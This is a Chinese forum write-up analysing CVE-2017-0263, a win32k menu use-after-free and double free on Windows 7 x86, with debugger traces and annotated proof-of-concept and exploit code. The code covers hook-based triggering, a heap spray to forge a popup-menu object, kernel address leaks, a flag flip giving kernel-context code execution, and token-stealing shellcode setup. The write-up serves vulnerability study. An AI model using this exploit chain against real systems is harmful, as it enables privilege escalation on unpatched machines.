查看原文
其他

CVE-2017-0263 win32k漏洞分析笔记

0x2l 看雪学院 2021-03-06

本文为看雪论坛精华文章

看雪论坛作者ID:0x2l




  • 目录


  • 0x00 前言


  • 0x01 配置漏洞触发环境


  • 0x02 BSOD分析

  •          基本信息收集

  •          第一次释放

  •          第二次释放


  • 0x03 poc分析

  •          准备工作

  •          设置hook

  •          第一次释放

  •          第二次释放


  • 0x04 exp分析

  •          准备工作

  •          伪造根弹出菜单对象

  •          伪造弹出菜单对象成员域

  •          泄露内核对象地址

  •          内核代码执行

  •          shellcode






0x00 前言


CVE-2017-0263是一个Win32k的UAF漏洞,我在参考了小刀师傅的文章之后进行了复现分析。因为小刀师傅珠玉在前,所以我的文章只是一个粗劣的模仿+踩坑记录,如果你觉得哪里不明白的话可以移步小刀师傅的文章,你应该会被师傅的知识的广度和条理性所折服。




0x01 配置漏洞触发环境


[+] win7 x86 sp1[+] windbg preview 1.0.2001.02001





0x02 BSOD分析


基本信息收集


将poc放入虚拟机之后运行,Windbg断下来之后我们用!analyze -v查看漏洞类型。



fe8733e8这块幸运内存被释放了两次,成功造成了Double Free。接着再看看调用关系:



问题就发生在这里,nt!ExFreePoolWithTag函数释放了一块已经释放过的内存,往上追溯看一下它的调用者Win32k!MNFreePopup函数。




比较关键的地方是这俩,程序将唯一的参数直接传递给了nt!ExFreePoolWithTag,他也是个工具人,继续往上追溯到win32k!xxxMNEndMenuState,该函数用来清理菜单状态结构体,其中就包括调用win32k!MNFreePopup函数来释放弹出菜单对象和窗口对象。我们看一下windows 2000中对应的代码:

// 为了方便观看,我省略了部分内容。void xxxMNEndMenuState (BOOL fFreePopup){ PTHREADINFO ptiCurrent = PtiCurrent(); PMENUSTATE pMenuState; pMenuState = ptiCurrent->pMenuState; if (pMenuState->pGlobalPopupMenu != NULL) { if (fFreePopup) { MNFreePopup(pMenuState->pGlobalPopupMenu); } else { pMenuState->pGlobalPopupMenu->fDelayedFree = FALSE; } } UnlockMFMWFPWindow(&pMenuState->uButtonDownHitArea); UnlockMFMWFPWindow(&pMenuState->uDraggingHitArea); ptiCurrent->pMenuState = pMenuState->pmnsPrev;}



函数首先从当前线程信息tagTHREADINFO中获得pMenuState成员域指向的菜单状态结构体对象,接着判断pMenuState的pGlobalPopupMenu成员是否为空,不为空的话将其传递给MNFreePopup函数进行释放,pGlobalPopupMenu成员指向弹出菜单结构体tagPOPMENU对象。

但是注意后三行,虽然pMenuState成员域会被重置,连带着pMenuState的pGlobalPopupMenu成员也会完蛋,似乎是没什么利用的可能,但就在重置pMenuState之前,函数会对pMenuState->uButtonDownHitArea和pMenuState->uDraggingHitArea解锁和释放。

如果我们可以构造特殊的菜单窗口对象,就可以让执行流回到用户进程中,在利用代码中我们可以为所欲为,我们可以对尚存的悬挂指针pGlobalPopupMenu成员再次进行释放,就可以导致BSOD的发生了。


第一次释放


为了追踪这两次释放,我们需要在xxxMNEndMenuState函数释放pGlobalPopupMenu成员的位置下断点:

ba e1 win32k!xxxMNEndMenuState+0x31 "r eax;.if((@eax & 0x0`ffffffff)==0xfe8733e8){}.else{.echo continue;g}"

这个断点有一个需要注意的地方,那就是为什么要将条件设置为eax & 0x0`ffffffff,他本来不就是32位的寄存器吗?这个地方还困了我挺久的,我之前一直断不下来,可以看看微软自己家的文档怎么说:

MASM 表达式计算器补符号位的高等于一寄存器。当eax具有值 0xC0004321,将被视为 0xFFFFFFFF`C0004321 中计算-即使eax仍将显示为 0xC0004321。但是,数字0xc0004321是带符号扩展在内核模式下,但不是在用户模式下。因此前, 一个命令将无法正常工作在用户模式下。如果掩码的高位eax,该命令将在内核模式下-正常工作,但现在它将在用户模式下失败
 
下了断点之后开始运行,程序断下来之后看一下堆栈:



xxxMNEndMenuState函数的调用者是Win32k!xxxMenuWindowProc函数,该函数专门对Menu窗口的消息做出响应,当ring3代码调用SendMessage- >NtUserMessageCall发送消息给Menu窗口,或者ring0调用xxxSendMessage发送消息给Menu窗口时,都会通过FNID函数封装后最终调用到该函数。

这里我们反汇编一下,看看Win32k!xxxMenuWindowProc函数在收到什么消息的时候会调用xxxMNEndMenuState函数:





不难看出,当Win32k!xxxMenuWindowProc函数收到未被文档化的MN_ENDMENU(0x1F3)消息且Menu为非模态(mode less)时,就会调用xxxMNEndMenuState函数来销毁MenuState。

你可能会以为我们直接在用户进程中来一句SendMessage()就可以销毁MenuState,但是弹出菜单的机制有点不太一样,接下来分析一下弹出菜单从诞生到销毁的大致流程。

在用户进程中,我们通过调用 TrackPopupMenuEx函数来展示菜单,TrackPopupMenuEx函数又会调用win32k!xxxTrackPopupMenuEx函数,此函数会做以下几件事:

1. 通过xxxCreateWindowEx函数为弹出菜单对象创建了一个类型为#32768的窗口对象,在tagWND的末尾拓展区域存放了一个tagPOPUPMENU结构,并对tagPOPUPMENU进行初始化。

2. 调用 xxxMNAllocMenuState函数初始化菜单状态结构体的各个成员域,并将tagPOPMENU对象作为当前的根弹出菜单对象,其指针放置在pGlobalPopmenu中。

3. 接下来函数调用 xxxSetWindowPos 函数以设置目标菜单层叠窗口在屏幕中的位置并将其显示在屏幕中。在函数 xxxSetWindowPos 执行期间,相关窗口位置和状态已完成改变之后,系统在函数 xxxEndDeferWindowPosEx 中调用 xxxSendChangedMsgs 以发送窗口位置已改变的消息。

在函数 xxxSendChangedMsgs 中,系统根据设置的SWP_SHOWWINDOW 状态标志,为当前的目标菜单层叠窗口对象创建并添加关联的阴影窗口对象。两个窗口对象的关联关系在函数 xxxAddShadow 中被添加到 gpshadowFirst 阴影窗口关联表中。

4. 调用 xxxWindowEvent 函数以发送代表“菜单弹出开始”的 EVENT_SYSTEM_MENUPOPUPSTART 事件通知。如果先前在用户进程中设置了包含这种类型时间通知范围的窗口事件通知处理函数,那么系统将在线程信息循环处理期间分发调用这些通知处理函数。

5. 接下来菜单被选择或取消,退出循环并销毁PopupMenu、Menu窗口对象和MenuState结构(xxxxxEndMenuLoop、xxxMNEndMenuState等)。

这个函数管的太多了,在我们的视角下就是只调了这一个API就已经把事情做完了,好像根本没有给我们和弹出菜单说句话的机会,也不会返回指向弹出菜单对象的指针,在内部就直接销毁了。

你应该已经看到了,第4步说的很清晰了,如果我们可以注册处理EVENT_SYSTEM_MENUPOPUPSTART 事件的hook,就可以为所欲为了。

我们可以直接调用SetWinEventHook函数来注册针对于EVENT_SYSTEM_MENUPOPUPSTART 事件的hook,这样我们就可以给他发送MN_ENDMENU(0x1F3)消息来销毁窗口。



现在这个堆栈的源头就很清晰了,虽然说poc我们有符号文件,但哪怕没有符号文件,我们依旧可以推断出这个函数就是针对于EVENT_SYSTEM_MENUPOPUPSTART 事件的hook函数,该函数发送了MN_ENDMENU(0x1F3)消息来对内存块fe8733e8进行了第一次释放。


第二次释放


接着运行程序就可以来到下一处断点,也就是我们的第二次释放:



和奔溃时的堆栈相比就知道,这次尚未发生的释放就是凶手,继续执行下去会导致BSOD的发生。如果你还记得前面分析过的xxxMNEndMenuState函数的功能的话,那你应该还记得我们的操作空间仅限如下:

UnlockMFMWFPWindow(&pMenuState->uButtonDownHitArea);UnlockMFMWFPWindow(&pMenuState->uDraggingHitArea);

我们看一下UnlockMFMWFPWindow函数的实现:

#define Unlock(ppobj) HMAssignmentUnlock((PVOID *)ppobj)
void UnlockMFMWFPWindow (PULONG_PTR puHitArea){ if (IsMFMWFPWindow(*puHitArea)) { Unlock(puHitArea); } else { *puHitArea = MFMWFP_OFFMENU; }}

该函数对目标进行校验之后就调用HMAssignmentUnlock函数来对目标解锁,HMAssignmentUnlock函数清除赋值锁的过程会减小对象的锁计数,在锁计数减小为0时调用HMUnlockObjectInternal销毁对象,销毁时调用Win32k!ghati对应表项的销毁例程,并最终调用Win32kfull!xxxDestroyWindow对窗口对象进行释放。


而uButtonDownHitArea成员保存着当前鼠标按下的坐标区域所属的窗口对象地址,当系统对其解锁并销毁的时候,会同时消除与该对象关联的阴影窗口对象(关于阴影窗口何时被创建,请回顾前面对TrackPopupMenuEx函数的分析)。

但是阴影窗口对象没有属于自己的窗口消息处理函数,所以我们如果将窗口对象的消息处理函数修改为我们自定义的消息处理函数,就可以再一次的取得控制权,第二次释放也就是在此时发生的,这一点可以从堆栈中看出。


至此,我们基本完成了对BSOD的分析,可以得到以下情报:

[+] win32k!xxxMNEndMenuState函数在释放根弹出菜单对象时,没有及时将该成员置零,导致出现了一个可以被利用的悬挂指针,可以造成UAF。[+] poc中的第一次释放是正常释放,收到未被文档化的MN_ENDMENU(0x1F3)消息且Menu为非模态(mode less)时,就会调用xxxMNEndMenuState函数来调用MNFreePopup(pMenuState->pGlobalPopupMenu)。[+] poc中的第二次释放是通过阴影窗口对象的机制,在调用hook了的消息处理函数时触发的win32k!xxxMNEndMenuState。




0x03 poc分析


准备工作


LPCSTR szMenuItem = "item";MENUINFO mi = { 0 };mi.cbSize = sizeof(mi);// MIM_STYLE 表明要设置 dwStyle 这个标志位mi.fMask = MIM_STYLE;// autodismiss 鼠标移到菜单窗口外面一会儿窗口会自动消失// modeless 非模态// dragdrop 拖放窗口mi.dwStyle = MNS_AUTODISMISS | MNS_MODELESS | MNS_DRAGDROP;
HMENU hpopupMenu[2] = { 0 };
// 用 CreatePopupMenu 创建的菜单是空的,后面用 AppendMenu 来添加 itemshpopupMenu[0] = CreatePopupMenu();hpopupMenu[1] = CreatePopupMenu();SetMenuInfo(hpopupMenu[0], &mi);SetMenuInfo(hpopupMenu[1], &mi);
AppendMenuA(hpopupMenu[0], MF_BYPOSITION | MF_POPUP, (UINT_PTR)hpopupMenu[1], szMenuItem);AppendMenuA(hpopupMenu[1], MF_BYPOSITION | MF_POPUP, 0, szMenuItem);

调用CreatePopupMenu函数创建两个非模态的可弹出菜单对象,参考MSDN的解释:

Creates a drop-down menu, submenu, or shortcut menu. The menu is initially empty. You can insert or append menu items by using the InsertMenuItem function. You can also use the InsertMenu function to insert menu items and the AppendMenu function to append menu items.
 
该函数创建带有MFISPOPUP标志位的tagMENU对象,而不是tagPOPUPMENU对象。tagPOPUPMENU用来描述菜单对象实体的弹出状态的对象,在菜单对象实际弹出时创建、菜单对象结束弹出状态时销毁。

因为这两个对象创建之初是空的,所以我们继续调用AppendMenuA函数添加菜单项,并且使得第二个菜单成为第一个菜单的子菜单。


设置hook


WNDCLASSEXW wndClass = { 0 };wndClass = { 0 };wndClass.cbSize = sizeof(WNDCLASSEXW);wndClass.lpfnWndProc = DefWindowProcW;wndClass.cbWndExtra = 0;wndClass.hInstance = GetModuleHandleA(NULL);wndClass.lpszMenuName = NULL;wndClass.lpszClassName = L"WNDCLASSMAIN";RegisterClassExW(&wndClass);HWND hWindowMain = CreateWindowExW(WS_EX_LAYERED | WS_EX_TOOLWINDOW | WS_EX_TOPMOST, L"WNDCLASSMAIN", NULL, WS_VISIBLE, 0, // x 0, // y 1, // width 1, // height NULL, NULL, GetModuleHandleA(NULL), NULL);

创建一个普通的窗口对象作为后续菜单弹出时弹出菜单的拥有者窗口对象。

SetWindowsHookExW(WH_CALLWNDPROC, xxWindowHookProc, GetModuleHandleA(NULL), GetCurrentThreadId());SetWinEventHook(EVENT_SYSTEM_MENUPOPUPSTART, EVENT_SYSTEM_MENUPOPUPSTART, GetModuleHandleA(NULL), xxWindowEventProc, GetCurrentProcessId(), GetCurrentThreadId(), 0);

调用SetWindowsHookExW函数创建类型为WH_CALLWNDPROC关联当前线程的hook程序,这是因为在xxxTrackPopupMenuEx函数中,系统在调用对象指定的消息处理程序之前,还会调用 xxxCallHook 函数用来调用先前由用户进程设定的 WH_CALLWNDPROC 类型的挂钩处理程序,所以如果我们设置这种类型的挂钩会在每次线程将消息发送给窗口对象之前调用。

接着通过SetWinEventHook函数创建包含EVENT_SYSTEM_MENUPOPUPSTART的关联当前进程和线程的事件通知消息处理程序。

至于为什么是EVENT_SYSTEM_MENUPOPUPSTART,可以回顾前面对于第一次释放的分析。


第一次释放


TrackPopupMenuEx(hpopupMenu[0], 0, 0, 0, hWindowMain, NULL);

调用TrackPopupMenuEx函数将我们创建的第一个可弹出菜单对象作为跟菜单在对象中弹出。

调用TrackPopupMenuEx函数会调用Win32k!xxxTrackPopupMenuEx函数,首先通过xxxCreateWindowEx函数为弹出菜单对象创建了一个类型为#32768的窗口对象,如果创建成功的话就会发送WM_NCCREATE消息。在处理消息之前,会调用我们刚刚设置的WH_CALLWNDPROC 类型的挂钩处理程序,即xxWindowHookProc函数。

// 弹出窗口和阴影窗口创建时都会调用到这个函数LRESULT CALLBACKxxWindowHookProc(INT code, WPARAM wParam, LPARAM lParam){
tagCWPSTRUCT* cwp = (tagCWPSTRUCT*)lParam; if (cwp->message != WM_NCCREATE) { return CallNextHookEx(0, code, wParam, lParam); } WCHAR szTemp[0x20] = { 0 }; GetClassNameW(cwp->hwnd, szTemp, 0x14);
if (!wcscmp(szTemp, L"#32768")) { hwndMenuHit = cwp->hwnd; }
// 第一次释放只需要用到上述部分,其余部分后面会补充的
return CallNextHookEx(0, code, wParam, lParam);}

首先判断当前处理的消息是否为WM_NCCREATE消息,不是的话就直接返回。接着再判断类名称是否为#32768,是的话表示这就是TrackPopupMenuEx函数创建的菜单窗口对象,将其句柄保存起来。

static UINT iMenuCreated = 0;VOID CALLBACKxxWindowEventProc( HWINEVENTHOOK hWinEventHook, DWORD event, HWND hwnd, LONG idObject, LONG idChild, DWORD idEventThread, DWORD dwmsEventTime){
if (++iMenuCreated >= 2) { // 向子菜单发送 MN_ENDMENU 以关闭整个菜单 SendMessageW(hwnd, MN_ENDMENU, 0, 0); } else { SendMessageW(hwnd, WM_LBUTTONDOWN, 1, 0x00020002); // (2,2) }}VOID CALLBACKxxWindowEventProc( HWINEVENTHOOK hWinEventHook, DWORD event, HWND hwnd, LONG idObject, LONG idChild, DWORD idEventThread, DWORD dwmsEventTime){
if (++iMenuCreated >= 2) { // 向子菜单发送 MN_ENDMENU 以关闭整个菜单 SendMessageW(hwnd, MN_ENDMENU, 0, 0); } else { // 在 32 位系统中,参数 lParam 是一个 DWORD 类型的数值,其高低 16 位分别代表横坐标和纵坐标的相对位置,传入的数值需要确保相对坐标位于先前创建菜单时设定的子菜单项的位置。参数 wParam 设定用户按下的是左键还是右键,设置为 1 表示 MK_LBUTTON 左键。 SendMessageW(hwnd, WM_LBUTTONDOWN, 1, 0x00020002); // (2,2) }}

在内核函数xxxTrackPopupMenuEx中处理完成对根弹出菜单窗口对象的创建时,系统调用xxxWindowEvent函数以发送代表“菜单弹出开始”的 EVENT_SYSTEM_MENUPOPUPSTART 事件通知。这将进入我们先前设置的自定义事件通知处理函数xxWindowEventProc中。

每当进入该事件通知处理程序时,代表当前新的弹出菜单已显示在屏幕中。iMenuCreated用来计数,第一次进入xxWindowEventProc函数的时候,表示根弹出菜单已经在屏幕中显示,直接调用 SendMessage函数向参数句柄hwnd指向的菜单窗口对象发送WM_LBUTTONDOWN鼠标左键按下的消息,并在参数lParam传入按下的相对坐标。

当消息处理函数 xxxMenuWindowProc 接收到该消息时,会调用xxxMNOpenHierarchy函数创建新的子菜单的相关对象,在这里完成新的子菜单在屏幕中的显示时,函数 xxxMNOpenHierarchy 调用函数 xxxWindowEvent 发送 EVENT_SYSTEM_MENUPOPUPSTART 事件通知。这使得执行流再次进入自定义事件通知处理函数 xxWindowEventProc 中。

第二次进入此函数时,表示弹出的子菜单已经显示了,此时发送MN_ENDMENU消息来销毁窗口,导致执行xxxEndMenuState函数,从而执行第一次释放,即MNFreePopup(pMenuState->pGlobalPopupMenu)。

至于为什么要设置WM_LBUTTONDOWN,是因为我们接下来要利用uButtonDownHitArea成员域,该成员域存储着当前鼠标按下的区域所属的窗口对象地址,当鼠标按键抬起时系统解锁并置零该成员域。因此,为了让他存储合法的窗口对象的地址,我们需要发送WM_LBUTTONDOWN鼠标左键按下的消息。


第二次释放


在我们对BSOD分析的时候就知道了,第二次释放是利用了阴影窗口的机制,在释放uButtonDownHitArea会同时消除与该对象关联的阴影窗口对象,因为他并没有属于自己的窗口消息处理函数,所以我们如果将窗口对象的消息处理函数修改为我们自定义的消息处理函数,就可以再一次的取得控制权。

但是目前为止我们只完成了第一次释放,在释放uButtonDownHitArea的时候并不能达成我们的目的,因为我们还没有构建阴影窗口和hook消息处理函数,这两个步骤都需要我们在xxWindowHookProc函数中进行操作,也就是刚刚分析xxWindowHookProc函数时省略的内容,现在放出完整版本的函数:

static UINT iShadowCount = 0;
// 弹出窗口和阴影窗口创建时都会调用到这个函数LRESULT CALLBACKxxWindowHookProc(INT code, WPARAM wParam, LPARAM lParam){
tagCWPSTRUCT* cwp = (tagCWPSTRUCT*)lParam; if (cwp->message != WM_NCCREATE) { return CallNextHookEx(0, code, wParam, lParam); } WCHAR szTemp[0x20] = { 0 }; GetClassNameW(cwp->hwnd, szTemp, 0x14);
if (!wcscmp(szTemp, L"#32768")) { hwndMenuHit = cwp->hwnd; }
// 前面已经分析过了,这里着重看后面的部分 if (!wcscmp(szTemp, L"SysShadow") && hwndMenuHit != NULL) { iShadowCount++;
if (iShadowCount == 3) { // cwp -> hwnd : 第三个阴影窗口 // GWL_WNDPROC : 设置一个新的消息处理函数 SetWindowLongW(cwp->hwnd, GWL_WNDPROC, (LONG)xxShadowWindowProc); } else { // 对刚刚保存的窗口句柄先隐藏再关闭就可以再次创建阴影窗口 SetWindowPos(hwndMenuHit, NULL, 0, 0, 0, 0, SWP_NOSIZE | SWP_NOMOVE | SWP_NOZORDER | SWP_HIDEWINDOW); SetWindowPos(hwndMenuHit, NULL, 0, 0, 0, 0, SWP_NOSIZE | SWP_NOMOVE | SWP_NOZORDER | SWP_SHOWWINDOW); } } return CallNextHookEx(0, code, wParam, lParam);}

前面对xxxMNEndMenuState函数的分析中已经说过了,在目标菜单窗口对象创建完成并成功显示时,系统为该窗口对象创建关联的类型为 SysShadow 的阴影窗口对象。

同样地,创建阴影窗口对象并发送 WM_NCCREATE 消息时,系统也会调用 xxxCallHook 函数来分发调用挂钩程序,所以我们可以在xxWindowHookProc函数中进行对阴影窗口消息处理函数的hook。

至于为什么要像代码中设置三个阴影窗口,我们需要先了解一下终止菜单时的一些机制。

LABEL_227: // EndMenu xxxEndMenuLoop(menuState, menuState->pGlobalPopupMenu); if ( menuState->flags & 0x100 ) xxxMNEndMenuState(1); return 0;

消息处理函数 xxxMenuWindowProc 接收到MN_ENDMENU消息及菜单对象是非模态时,会在xxxMNEndMenuState函数被调用之前调用xxxEndMenuLoop函数。

该函数最终会调用xxxDestroyWindow函数和xxxFreeWindow函数销毁弹出的子菜单的窗口对象,这两个函数都会调用xxxRemoveShadow函数来释放阴影窗口对象,如果只有一个阴影窗口的话,应该是第一次释放成功,第二次发现存储阴影窗口的链表中无法查到有效节点而返回。


也就是说,在我们进行第一次释放的时候,我们的窗口关联的阴影对象链表中的节点已经被释放了两次,又因为我们要马不停蹄的进行下一次释放来调用我们自己设置的消息处理程序,所以我们必须要早早设置三个阴影窗口对象,并且将第三个阴影窗口的消息处理程序hook掉,这样就能在第一次释放之后处理uButtonDownHitArea时再次获得控制权。

LRESULT WINAPIxxShadowWindowProc( _In_ HWND hwnd, _In_ UINT msg, _In_ WPARAM wParam, _In_ LPARAM lParam){ if (msg == WM_NCDESTROY) { xxSyscall(num_NtUserMNDragLeave, 0, 0); } return DefWindowProcW(hwnd, msg, wParam, lParam);}

判断传入的消息是否为WM_NCDESTROY,如果是的话就调用NtUserMNDragLeave函数,该函数同样可以调用xxxMNEndMenuState函数:

/***************************************************************************\* xxxUnlockMenuState** 11/24/96 GerardoB Created\***************************************************************************/BOOL xxxUnlockMenuState (PMENUSTATE pMenuState){ UserAssert(pMenuState->dwLockCount != 0); (pMenuState->dwLockCount)--; if ((pMenuState->dwLockCount == 0) && ExitMenuLoop(pMenuState, pMenuState->pGlobalPopupMenu)) { xxxMNEndMenuState(TRUE); return TRUE; } return FALSE;}

继续调用xxxMNEndMenuState函数就意味着会再次执行MNFreePopup(pMenuState->pGlobalPopupMenu),上一个xxxMNEndMenuState函数中pGlobalPopMenu刚刚被释放过,现在再释放一次,自然造成了Double Free。





0x04 exp分析


准备工作


typedef struct _SHELLCODE { DWORD reserved; DWORD pid; DWORD off_CLS_lpszMenuName; DWORD off_THREADINFO_ppi; DWORD off_EPROCESS_ActiveLink; DWORD off_EPROCESS_Token; PVOID tagCLS[0x100]; BYTE pfnWindProc[];} SHELLCODE, * PSHELLCODE;
static PSHELLCODE pvShellCode = NULL;
pvShellCode = (PSHELLCODE)VirtualAlloc(NULL, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (pvShellCode == NULL) { return 0; } ZeroMemory(pvShellCode, 0x1000); pvShellCode->pid = GetCurrentProcessId(); pvShellCode->off_CLS_lpszMenuName = 0x050; pvShellCode->off_THREADINFO_ppi = 0x0b8; pvShellCode->off_EPROCESS_ActiveLink = 0x0b8; pvShellCode->off_EPROCESS_Token = 0x0f8; CopyMemory(pvShellCode->pfnWindProc, xxPayloadWindProc, sizeof(xxPayloadWindProc));

首先在用户进程中分配完整内存页的RWX内存块,并初始化相关成员域,将 ShellCode 函数代码拷贝到从成员域 pfnWindProc 起始的内存地址。


伪造根弹出菜单对象


DWORD dwPopupFake[0xD] = { 0 };dwPopupFake[0x0] = (DWORD)0x00098208; //->flagsdwPopupFake[0x1] = (DWORD)pvHeadFake; //->spwndNotifydwPopupFake[0x2] = (DWORD)pvHeadFake; //->spwndPopupMenudwPopupFake[0x3] = (DWORD)pvHeadFake; //->spwndNextPopupdwPopupFake[0x4] = (DWORD)pvAddrFlags - 4; //->spwndPrevPopupdwPopupFake[0x5] = (DWORD)pvHeadFake; //->spmenudwPopupFake[0x6] = (DWORD)pvHeadFake; //->spmenuAlternatedwPopupFake[0x7] = (DWORD)pvHeadFake; //->spwndActivePopupdwPopupFake[0x8] = (DWORD)0xFFFFFFFF; //->ppopupmenuRootdwPopupFake[0x9] = (DWORD)pvHeadFake; //->ppmDelayedFreedwPopupFake[0xA] = (DWORD)0xFFFFFFFF; //->posSelectedItemdwPopupFake[0xB] = (DWORD)pvHeadFake; //->posDroppeddwPopupFake[0xC] = (DWORD)0;for (UINT i = 0; i < iWindowCount; ++i){ SetClassLongW(hWindowList[i], GCL_MENUNAME, (LONG)dwPopupFake);}xxNtUserMNDragLeave();

进行第一次释放之后,程序会进入我们预期的xxxShadowWindowProc,我们可以通过SetClassLongW函数在这里对大量窗口设置MENUNAME字段,内核会为窗口类tagCLS对象的成员域IpsMenuName分配并设置UNICODE缓冲区。

因为IpsMenuName和弹出菜单ragPOPUPMENU对象的缓冲区都是进程配额的内存块,大小相同,所以可以用来占位刚刚释放的内存,伪造根弹出菜单对象,使系统认为弹出对象并没有被释放,而是正常的存在于内核中。
至于这里的大量窗口是哪来的,需要我们在程序调用TrackPopupmenuEx函数之前创建:

for (INT i = 0; i < 0x100; i++){ WNDCLASSEXW Class = { 0 }; WCHAR szTemp[20] = { 0 }; HWND hwnd = NULL; wsprintfW(szTemp, L"%x-%d", rand(), i); Class.cbSize = sizeof(WNDCLASSEXA); Class.lpfnWndProc = DefWindowProcW; Class.cbWndExtra = 0; Class.hInstance = GetModuleHandleA(NULL); Class.lpszMenuName = NULL; Class.lpszClassName = szTemp; if (!RegisterClassExW(&Class)) { continue; } hwnd = CreateWindowExW(0, szTemp, NULL, WS_OVERLAPPED, 0, 0, 0, 0, NULL, NULL, GetModuleHandleA(NULL), NULL); if (hwnd == NULL) { continue; } hWindowList[iWindowCount++] = hwnd;}

调用CreateWindowEx函数创建大量窗口并注册单独的窗口类,以备后续使用。

伪造弹出菜单对象成员域


弹出对象已经伪造成功了,但如果xxxMNEndMenuState函数对成员域进行解锁的话还是会报错,因为我们还没有对成员域进行构造,我们需要让他们指向有效的内存空间,这样才能正确运行。

xxRegisterWindowClassW(L"WNDCLASSHUNT", 0x200);hWindowHunt = xxCreateWindowExW(L"WNDCLASSHUNT", WS_EX_LEFT, WS_OVERLAPPED);

载体窗口对象 hWindowHunt 具有 0x200 字节大小的扩展区域,扩展区域紧随基础的 tagWND 对象其后,在利用代码中将用来伪造各种相关的内核用户对象,以使系统重新执行 xxxMNEndMenuState函数期间,执行流能正常稳定地执行。

泄露内核对象地址


staticVOIDxxGetHMValidateHandle(VOID){ HMODULE hModule = LoadLibraryA("USER32.DLL"); PBYTE pfnIsMenu = (PBYTE)GetProcAddress(hModule, "IsMenu"); PBYTE Address = NULL; for (INT i = 0; i < 0x30; i++) { if (*(WORD*)(i + pfnIsMenu) != 0x02B2) { continue; } i += 2; if (*(BYTE*)(i + pfnIsMenu) != 0xE8) { continue; } Address = *(DWORD*)(i + pfnIsMenu + 1) + pfnIsMenu; Address = Address + i + 5; pfnHMValidateHandle = (PVOID(__fastcall*)(HANDLE, BYTE))Address; break; }}

通过硬编码匹配的方式,从 user32 模块的导出函数 IsMenu 中查找并计算函数 HMValidateHandle 的地址,这个未导出的函数接收用户句柄和对象类型作为参数,在内部对参数进行验证,验证通过时则返回目标对象在当前进程桌面堆中映射的地址。

有了这招,我们先泄露tagWND在桌面堆中的地址,该结构如下:



其中的pSelf指向所属对象的内核地址,因此我们也得到了当前窗口对象的内核地址。

PTHRDESKHEAD head = (PTHRDESKHEAD)xxHMValidateHandle(hWindowHunt);PBYTE pbExtra = head->deskhead.pSelf + 0xb0 + 4;pvHeadFake = pbExtra + 0x44;for (UINT x = 0; x < 0x7F; x++) // 0x04~0x1FC{ SetWindowLongW(hWindowHunt, sizeof(DWORD) * (x + 1), (LONG)pbExtra);}PVOID pti = head->thread.pti;SetWindowLongW(hWindowHunt, 0x50, (LONG)pti); // pti

将载体窗口对象的扩展区域预留 4 字节,将剩余 0x1FC 字节的内存区域全部填充为扩展区域 +0x04 字节偏移的地址,填充的数值将作为各种伪造对象的句柄、引用计数或对象指针成员域。

接下来将剩余内存区域 +0x44 字节偏移的内存数据作为伪造的内核用户对象头部结构,其地址被作为伪造的根弹出菜单 tagPOPUPMENU 对象的各个指针成员域的值。


内核代码执行


窗口结构体 tagWND 对象的成员标志位 bServerSideWindowProc 是一个特
殊标志位,该标志位决定所属窗口对象的消息处理函数属于服务端还是客户端。

如果该标志置位的话,函数会直接使当前线程在内核上下文调用目标窗口对象的消息处理函数。如果我们将未置位的窗口置位并劫持消息处理函数的话的话,便可以将我们设置的函数在内核上下文中执行。



该成员位于tagWND对象的第18比特位,标志位 bDialogWindow 的位置是 bServerSideWindowProc 所在字节的起始比特位。

通过研究发现,在创建普通窗口对象时,如果样式参数 dwStyle 和扩展样式参数 dwExStyle 都传值为 0 默认值,那么在内核中成员域 bDialogWindow 和 bHasCreatestructName 都将未被置位。因此可以借助这个特性,实现对目标关键标志位的置位。

pvAddrFlags = *(PBYTE*)((PBYTE)xxHMValidateHandle(hWindowHunt) + 0x10) + 0x16; SetWindowLongW(hWindowHunt, GWL_WNDPROC, (LONG)pvShellCode->pfnWindProc);

获得bDialogWindow的地址,再设置准备工作中设置的pfnWindProc成员域为hWindowHunt的消息处理函数。

dwPopupFake[0x4] = (DWORD)pvAddrFlags - 4; //->spwndPrevPopup

设置bDialogWindow的减四字节作为构造的tagPOPUPMENU对象的某个窗口对象指针成员域,这样刚刚提到的三个标志位正好位于该指针该指针成员域指向的窗口对象的锁计数成员域cLockObj的低3比特位,这样的话在xxxMNEndMenu函数对该成员域解锁的时候,会对bDialogWindow起始的32位数值自减,这会导致三个标志位都为1,从而获得hook的消息处理函数在内核上下文执行的机会。


shellcode


第二次释放的根弹出菜单对象实际上是批量创建的普通窗口对象中某个窗口对象所属窗口类 tagCLS 对象的成员域 lpszMenuName 指向的缓冲区。

这将导致在进程退出时销毁用户对象期间,系统在内核中释放目标窗口类对象成员域 lpszMenuName 时引发重复释放的异常。

static constexpr UINT num_offset_WND_pcls = 0x64;for (INT i = 0; i < iWindowCount; i++){ pvShellCode->tagCLS[i] = *(PVOID *)((PBYTE)xxHMValidateHandle(hWindowList[i]) + num_offset_WND_pcls);}

我们需要在 ShellCode 代码中将目标窗口类对象的成员域 lpszMenuName 置空。我们需要在批量创建窗口的时候将每一个窗口的成员域pcls指向地址保存起来。

VOID CALLBACKxxWindowEventProc( HWINEVENTHOOK hWinEventHook, DWORD event, HWND hwnd, LONG idObject, LONG idChild, DWORD idEventThread, DWORD dwmsEventTime){ if (iMenuCreated == 0) { popupMenuRoot = *(DWORD *)((PBYTE)xxHMValidateHandle(hwnd) + 0xb0); } if (++iMenuCreated >= 2) { SendMessageW(hwnd, MN_ENDMENU, 0, 0); } else { SendMessageW(hwnd, WM_LBUTTONDOWN, 1, 0x00020002); }}

查找需置空成员域IpszMenuName的目标窗口类对象需要与根弹出菜单对象的内核地址进行匹配,这一步我们可以在xxxWindowEventProc函数中实现。


接着构造payload,在准备工作中,我们就将xxPayloadWindProc 的代码拷贝到 SHELLCODE 对象缓冲区中。不同于用户模式的消息处理函数,内核模式窗口对象处理函数的第一个参数是指向目标窗口tagWND的指针,其余相同。

